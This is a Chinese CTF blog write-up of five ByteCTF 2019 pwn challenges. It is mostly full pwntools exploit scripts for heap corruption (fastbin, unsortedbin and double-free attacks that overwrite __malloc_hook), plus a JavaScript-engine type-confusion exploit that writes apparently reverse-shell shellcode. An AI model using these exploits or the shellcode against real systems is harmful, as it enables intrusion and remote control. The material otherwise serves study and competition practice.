2019-ByteCTF-pwn

周末打了bytectf(深知自己菜的明明白白的。

five_note

题目的过程复杂但是思想并不难的一个题

  1. unsortedbin attack global_max_fast 让所有chunk成为fastbin
  2. 使得指针指向一个stdout,执行fastbin attack leak出地址。
  3. 接着改写malloc_hook 拿到shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*


e = ELF("./note_five")
a = e.libc
p = remote("112.126.103.195",9999)

def sl(x):
p.sl(x)

def create(idx,size):
p.recvuntil(">> ")
p.sl("1")
p.recvuntil("idx: ")
p.sl(str(idx))
p.recvuntil("size: ")
p.sl(str(size))


def remove(idx):
p.recvuntil(">> ")
p.sl("3")
p.recvuntil("idx: ")
p.sl(str(idx))


def edit(idx,content):
p.recvuntil(">> ")
p.sl("2")
p.recvuntil("idx: ")
p.sl(str(idx))
p.recvuntil("content: ")
p.sl(content)




create(0,0xe8)
create(1,0xe8)
create(2,0xe8)
create(3,0xe8)
create(4,0xe8)
remove(0)
edit(2,"b"*0xe0+p64(0x2d0)+"\xf0")
remove(3)
create(0,0x2d0 - 0x10)
edit(0,"b"*0xe0+p64(0)+p64(0xf1)+"c"*0xe0+p64(0)+p64(0xf1))
remove(1)
# overlap it
pay = 'b' * 0xe0
pay += p64(0) + p64(0xf1)
pay += p64(0) + p16(0x37f8 - 0x10)
edit(0,pay)

create(3,0xe8)

create(3,0xe8)

edit(0,"\x33"*0xe0+p64(0)+p64(0xf1)+"\x33"*0xe0+p64(0)+p64(0xf1))

remove(2)
edit(0,"\x33"*0xe0+p64(0)+p64(0xf1)+"\x33"*0xe0+p64(0)+p64(0xf1)+p16(0x25cf))

create(3,0xe8)
create(4,0xe8)
edit(4,"a"*9+p64(0)*7+p64(0xfbad1800)+p64(0)*3+p8(0))
p.recvuntil(p64(0xfbad1800))

p.recv(24)
libc_createress = u64(p.recv(6).ljust(8,"\x00"))-0x3c5600
# fastbin attack !!
pian = 0x7ffff7dd1b10 - 0x7ffff7dd196f
malloc_hook_one = a.symbols["__malloc_hook"]-pian+libc_createress
malloc_hook_two = a.symbols["__malloc_hook"]-0xc0+libc_createress
remove(3)
edit(0,"a"*0xe0+p64(0)+p64(0xf1)+"b"*0xe0+p64(0)+p64(0xf1)+p64(malloc_hook_one))

create(3,0xe8)
create(4,0xe8)
edit(4,"\x00"+p64(0)*4+p64(libc_createress+0x3c36e0)+p64(0)*22+p64(0xff))
remove(3)
edit(0,"\x33"*0xe0+p64(0)+p64(0xf1)+"\x33"*0xe0+p64(0)+p64(0xf1)+p64(malloc_hook_two))

create(3,0xe8)
create(4,0xe8)
edit(4,p64(0)*21 + p64(libc_createress+0x4526a)+ p64(a.symbols["__libc_realloc"]+13+libc_createress))
create(3,0xe0)
p.interactive()

mheap

当read 返回-1的时候会使得堆块向上写从而改写单链表指针。由于没有开启nx,可以将其指向list,然后通过其leak 和 更改指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*

context.log_level = "debug"
#p = process("./mheap")

p = remote("112.126.98.5",9999)

def sl(x):
p.sendline(x)
def rl(x):
p.recvuntil(x)
def create(idx,size,content):
p.rl("Your choice: ")
p.sl("1")
p.rl("Index: ")
p.sl(str(idx))
p.rl("Input size: ")
p.sl(str(size))
p.rl("Content: ")
p.send(str(content))

def remove(idx):
p.rl("Your choice: ")
p.sl("3")
p.rl("Index: ")
p.sl(str(idx))

def modify(idx,content):
p.rl("Your choice: ")
p.sl("4")
p.rl("Index: ")
p.sl(str(idx))
p.sl(content)
def show(idx):
p.rl("Your choice: ")
p.sl("2")
p.rl("Index: ")
p.sl(str(idx))

create(0,3840+0x10,"\n")
create(1,80,"a"*80)
remove(1)

create(2,256,p64(0x60)+p64(0x4040e0)+"\x22"*(0xd0-1)+"\n")

create(1,80,"a"+"\n")

create(2,0x23330000,p64(0x404050)+"\n")
show(2)
libc_creater = u64(p.rl("\n",drop=True).ljust(8,"\x00"))-0x40680
system = 0x4f440+libc_creater
modify(2,p64(system))

p.rl("choice: ")
p.sl("/bin/sh\x00")
p.interactive()

vip

利用随机数爆破fd,使得其控制list指针做到leak和getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import*

#context.log_level = "debug"
#p = process("./vip")
e = ELF("./vip")
a = ELF("./libc-2.27.so")
p = remote("112.126.103.14",9999)
#gdb.attach(p)
def sl(x):
p.sendline(x)
def rl(x):
p.recvuntil(x)
def create(idx):
p.rl("Your choice: ")
p.sl("1")
p.rl("Index: ")
p.sl(str(idx))


def remove(idx):
p.rl("Your choice: ")
p.sl("3")
p.rl("Index: ")
p.sl(str(idx))

def modify(idx,size):
p.rl("Your choice: ")
p.sl("4")
p.rl("Index: ")
p.sl(str(idx))
p.rl("Size: ")
p.sl(str(size))
def edit(idx,size,content):
p.rl("Your choice: ")
p.sl("4")
p.rl("Index: ")
p.sl(str(idx))
p.rl("Size: ")
p.sl(str(size))
p.rl("Content: ")
p.send(content)
def show(idx):
p.rl("Your choice: ")
p.sl("2")
p.rl("Index: ")
p.sl(str(idx))

create(0)
create(1)
remove(1)


while 1:
modify(0,0x63)
show(0)
things = p.rl("\n",drop=True)
if len(things) >= 0x63 :
byte = u8(things[-1:])
if byte == 0x40:
print "waitting :"+str(hex(byte))
break
else:
continue
else:
continue
while 1:
modify(0,0x62)
show(0)
things = p.rl("\n",drop=True)
if len(things) >= 0x62 :
byte = u8(things[-2:-1])
if byte == 0x40:
print "waitting :"+str(hex(byte))
break
else:
continue
else:
continue
while 1:
modify(0,0x61)
show(0)
things = p.rl("\n",drop=True)
if len(things) >= 0x61 :
byte = u8(things[-3:-2])
if byte == 0xd0:
print "Get it : "+str(hex(byte))
break
else:
continue
else:
continue

# you can attack it
create(3)
create(4)
edit(4,0x40,p64(0xdeadbeef)*2+p64(0x404070)*5+"\n")
# edit success!!
edit(4,0x50,p64(0xdeadbeef)*2+p64(0x404070)*7+"\n")

show(0)
libc_creater = u64(p.rl("\n",drop=True).ljust(8,"\x00")) - a.symbols["atoi"]
system = libc_creater + a.symbols["system"]
# use the pointer to get it.
edit(0,0x10,p64(system)*2)

p.rl("Your choice: ")
p.send("/bin/sh\x00"+"\n")

p.interactive()

mulnote

代码看起来很复杂。。其实很简单的条件竞争。。10分钟getsehll?😂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*

#context.log_level = "debug"
p = process("./mulnote")
e = ELF("./libc.so")
p = remote("112.126.101.96",9999)
#gdb.attach(p)
def add(size,content):
p.recvuntil("[Q]uit\n>")
p.sendline("C")
p.recvuntil("size>")
p.sendline(str(size))
p.recvuntil("note>")
p.send(str(content))

def remove(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("R")
p.recvuntil("index>")
p.sendline(str(idx))

def modify(idx,content):
p.recvuntil("[Q]uit\n>")
p.sendline("E")
p.recvuntil("index>")
p.sendline(str(idx))
p.recvuntil("new note>")
p.sendline(content)
def show(idx):
p.recvuntil("[Q]uit\n>")
p.sendline("S")


add(0x90,"aa")
add(0x20,"a")
remove(0)
show(0)
p.recvuntil("[*]note[0]:\n")
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x3c4b78
print hex(libc_addr)
add(0x60,"a")
add(0x60,"b")
add(0x60,"c")
remove(2)
remove(3)
remove(2)
add(0x60,p64(e.symbols["__malloc_hook"]-0x23+libc_addr)*2)
add(0x60,"peanuts")
add(0x60,"\x00"*0x13+p64(libc_addr+0x45216))#0x45216 0x4526a 0xf02a4 0xf1147
add(0x60,"\x00"*0x13+p64(libc_addr+0x4526a))
p.recvuntil("[Q]uit\n>")
p.sendline("C")
p.recvuntil(">")
p.sendline("200")
p.interactive()

childjs

感谢北邮的时候赛后给的wp学习了一下,其实主要原理还是在安全客的文章上,当时自己对这种结构一头雾水。。(我太菜了,真实是个弟弟呀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
dv2.setUint32(0, 0xdead,true);
BASE = 0x100000000;

function hex(x) {
return "0x" + x.toString(16);
}

function opt(o, proto, value){
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}

let o = {a: 1, b: 2};
opt(o, o, obj);
o.c = dv1
obj.h = dv2;

let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);

// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}

let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);

// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(4, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);

let libc_addr = vtable_lo + vtable_hi * BASE
let libc_base = libc_addr-(0x7ffff47cc6e0-0x00007ffff39c8000)
// let memove_got_addr = libc_base+0xe38128
let memove_got_addr = libc_base+0xe53108
print("[+] dv2.vtable pointer: "+hex(vtable_lo + vtable_hi * BASE));
print("[+] libc base: "+hex(libc_base));
print("[+] memmove got addr: "+hex(memove_got_addr));

//get dv2 buffer poointer
buf_lo=dv1.getUint32(0x38,true)
buf_hi=dv1.getUint32(0x3C,true)
let shelladdr = buf_lo + buf_hi * BASE
let shellbase = shelladdr-(0x555555847360-0x00005555557d0000)
// read first vtable entry using the R\W primitive
print("[+] dv2.vtable content: "+hex(shelladdr));
print("[+] shellbase: "+hex(shellbase))

print("[+] dv2.buffer pointer: "+hex(libc_addr));
// [+] dv2.vtable pointer: 0x7ffff49e95e0
// [+] dv2.buffer pointer: 0x555555847360
// [+] dv2.vtable content: 0x7ffef3d9a8e0
// read first vtable entry using the R\W primitive
print("[+] dv2.buffer content: "+hex(read64(buf_lo, buf_hi)));

// write memove got
// var shellcode = [0xb848686a,0x6e69622f,0x732f2f2f,0xe7894850,0x1697268,0x24348101,0x1010101,0x6a56f631,0x1485e08,0x894856e6,0x6ad231e6,0x50f583b];
var shellcode = [0x9958296a,0x6a5f026a,0x50f5e01,0xb9489748,0x8520002,0xbc9ae168,0xe6894851,0x6a5a106a,0x50f582a,0x485e036a,0x216aceff,0x75050f58,0x583b6af6,0x2fbb4899,0x2f6e6962,0x53006873,0x52e78948,0xe6894857,0x50f];
print("shellcode len"+hex(shellcode.length));
// print("[+] shellcode: "+hex(shellcode[0]));
let offset = 0x400
for (var i = 0; i < shellcode.length/2+1; ++i) {
if(i*2+1>shellcode.length)
write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],0xdeadbeef);
else
write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],shellcode[i*2+1]);
}

write64(vtable_lo+0x4ea28,vtable_hi,buf_lo+offset,buf_hi)
// trigger
var target = new Uint8Array(0x1234);
var bb = new Uint8Array(10);
target.set(bb);

}
main();

总结

我是个弟弟。。